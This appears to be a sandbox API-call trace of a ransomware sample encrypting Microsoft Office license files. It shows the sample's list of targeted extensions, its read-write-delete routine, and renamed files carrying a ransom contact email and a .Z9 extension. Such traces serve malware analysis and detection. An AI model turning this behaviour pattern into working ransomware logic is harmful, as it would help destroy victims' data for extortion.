	[0177.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1
	[0177.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.548] lstrlenW (lpString=".doc") returned 4
	[0177.548] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.548] lstrlenW (lpString=".docx") returned 5
	[0177.548] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.548] lstrlenW (lpString=".pdf") returned 4
	[0177.548] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.548] lstrlenW (lpString=".xls") returned 4
	[0177.548] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.548] lstrlenW (lpString=".xlsx") returned 5
	[0177.548] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.548] lstrlenW (lpString=".ppt") returned 4
	[0177.549] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.549] lstrlenW (lpString=".zip") returned 4
	[0177.549] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.549] lstrlenW (lpString=".rar") returned 4
	[0177.549] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.549] lstrlenW (lpString=".bz2") returned 4
	[0177.549] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.549] lstrlenW (lpString=".7z") returned 3
	[0177.549] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.549] lstrlenW (lpString=".dbf") returned 4
	[0177.549] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.549] lstrlenW (lpString=".1cd") returned 4
	[0177.549] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.549] lstrlenW (lpString=".jpg") returned 4
	[0177.549] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.550] lstrlenW (lpString=".doc") returned 4
	[0177.550] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.550] lstrlenW (lpString=".docx") returned 5
	[0177.550] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.550] lstrlenW (lpString=".pdf") returned 4
	[0177.550] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.550] lstrlenW (lpString=".xls") returned 4
	[0177.550] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.550] lstrlenW (lpString=".xlsx") returned 5
	[0177.550] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.550] lstrlenW (lpString=".ppt") returned 4
	[0177.550] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.550] lstrlenW (lpString=".zip") returned 4
	[0177.550] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.550] lstrlenW (lpString=".rar") returned 4
	[0177.550] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.550] lstrlenW (lpString=".bz2") returned 4
	[0177.550] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.550] lstrlenW (lpString=".7z") returned 3
	[0177.550] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.550] lstrlenW (lpString=".dbf") returned 4
	[0177.550] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.551] lstrlenW (lpString=".1cd") returned 4
	[0177.551] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0177.551] lstrlenW (lpString=".jpg") returned 4
	[0177.551] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.551] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0177.551] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 42
	[0177.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0177.552] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11219) returned 1
	[0177.552] CloseHandle (hObject=0x37c) returned 1
	[0177.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0177.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0177.553] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.554] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0177.972] GetLastError () returned 0x0
	[0177.972] ReadFile (in: hFile=0x37c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2bd3, lpOverlapped=0x0) returned 1
	[0177.989] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0177.990] ReadFile (in: hFile=0x37c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.991] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x128, lpOverlapped=0x0) returned 1
	[0177.991] SetEndOfFile (hFile=0x520) returned 1
	[0177.991] CloseHandle (hObject=0x520) returned 1
	[0177.991] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.991] SetEndOfFile (hFile=0x37c) returned 1
	[0177.997] CloseHandle (hObject=0x37c) returned 1
	[0177.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0177.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0177.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0177.999] lstrlenW (lpString=".doc") returned 4
	[0177.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.999] lstrlenW (lpString=".docx") returned 5
	[0178.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.000] lstrlenW (lpString=".pdf") returned 4
	[0178.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.000] lstrlenW (lpString=".xls") returned 4
	[0178.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.000] lstrlenW (lpString=".xlsx") returned 5
	[0178.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.000] lstrlenW (lpString=".ppt") returned 4
	[0178.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0178.000] lstrlenW (lpString=".zip") returned 4
	[0178.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.000] lstrlenW (lpString=".rar") returned 4
	[0178.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.000] lstrlenW (lpString=".bz2") returned 4
	[0178.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.000] lstrlenW (lpString=".7z") returned 3
	[0178.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0178.000] lstrlenW (lpString=".dbf") returned 4
	[0178.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0178.000] lstrlenW (lpString=".1cd") returned 4
	[0178.000] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0178.001] lstrlenW (lpString=".jpg") returned 4
	[0178.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0178.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0178.001] lstrlenW (lpString=".doc") returned 4
	[0178.001] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.001] lstrlenW (lpString=".docx") returned 5
	[0178.001] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.001] lstrlenW (lpString=".pdf") returned 4
	[0178.001] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.001] lstrlenW (lpString=".xls") returned 4
	[0178.001] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.001] lstrlenW (lpString=".xlsx") returned 5
	[0178.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.001] lstrlenW (lpString=".ppt") returned 4
	[0178.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0178.001] lstrlenW (lpString=".zip") returned 4
	[0178.001] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.001] lstrlenW (lpString=".rar") returned 4
	[0178.001] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.001] lstrlenW (lpString=".bz2") returned 4
	[0178.001] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.002] lstrlenW (lpString=".7z") returned 3
	[0178.002] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0178.002] lstrlenW (lpString=".dbf") returned 4
	[0178.002] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0178.002] lstrlenW (lpString=".1cd") returned 4
	[0178.002] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0178.002] lstrlenW (lpString=".jpg") returned 4
	[0178.002] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.002] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.002] lstrlenW (lpString="HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 34
	[0178.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0178.004] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=21917) returned 1
	[0178.004] CloseHandle (hObject=0x37c) returned 1
	[0178.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220
	[0178.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0178.009] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.009] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0178.011] GetLastError () returned 0x0
	[0178.011] ReadFile (in: hFile=0x37c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x559d, lpOverlapped=0x0) returned 1
	[0178.015] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0178.017] ReadFile (in: hFile=0x37c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.018] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x118, lpOverlapped=0x0) returned 1
	[0178.018] SetEndOfFile (hFile=0x520) returned 1
	[0178.018] CloseHandle (hObject=0x520) returned 1
	[0178.018] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.018] SetEndOfFile (hFile=0x37c) returned 1
	[0178.024] CloseHandle (hObject=0x37c) returned 1
	[0178.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1
	[0178.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.026] lstrlenW (lpString=".doc") returned 4
	[0178.026] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.026] lstrlenW (lpString=".docx") returned 5
	[0178.026] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.027] lstrlenW (lpString=".pdf") returned 4
	[0178.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.027] lstrlenW (lpString=".xls") returned 4
	[0178.027] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.027] lstrlenW (lpString=".xlsx") returned 5
	[0178.027] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.027] lstrlenW (lpString=".ppt") returned 4
	[0178.027] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.027] lstrlenW (lpString=".zip") returned 4
	[0178.027] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.027] lstrlenW (lpString=".rar") returned 4
	[0178.027] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.027] lstrlenW (lpString=".bz2") returned 4
	[0178.027] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.027] lstrlenW (lpString=".7z") returned 3
	[0178.027] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.027] lstrlenW (lpString=".dbf") returned 4
	[0178.027] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.027] lstrlenW (lpString=".1cd") returned 4
	[0178.027] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.027] lstrlenW (lpString=".jpg") returned 4
	[0178.027] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.028] lstrlenW (lpString=".doc") returned 4
	[0178.028] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.028] lstrlenW (lpString=".docx") returned 5
	[0178.028] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.028] lstrlenW (lpString=".pdf") returned 4
	[0178.028] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.028] lstrlenW (lpString=".xls") returned 4
	[0178.028] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.028] lstrlenW (lpString=".xlsx") returned 5
	[0178.028] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.028] lstrlenW (lpString=".ppt") returned 4
	[0178.028] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.028] lstrlenW (lpString=".zip") returned 4
	[0178.028] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.028] lstrlenW (lpString=".rar") returned 4
	[0178.028] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.028] lstrlenW (lpString=".bz2") returned 4
	[0178.028] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.028] lstrlenW (lpString=".7z") returned 3
	[0178.028] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.028] lstrlenW (lpString=".dbf") returned 4
	[0178.028] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.028] lstrlenW (lpString=".1cd") returned 4
	[0178.028] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0178.028] lstrlenW (lpString=".jpg") returned 4
	[0178.028] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.029] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.029] lstrlenW (lpString="HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 37
	[0178.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.417] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11644) returned 1
	[0178.417] CloseHandle (hObject=0x548) returned 1
	[0178.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220
	[0178.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.418] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.418] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0178.420] GetLastError () returned 0x0
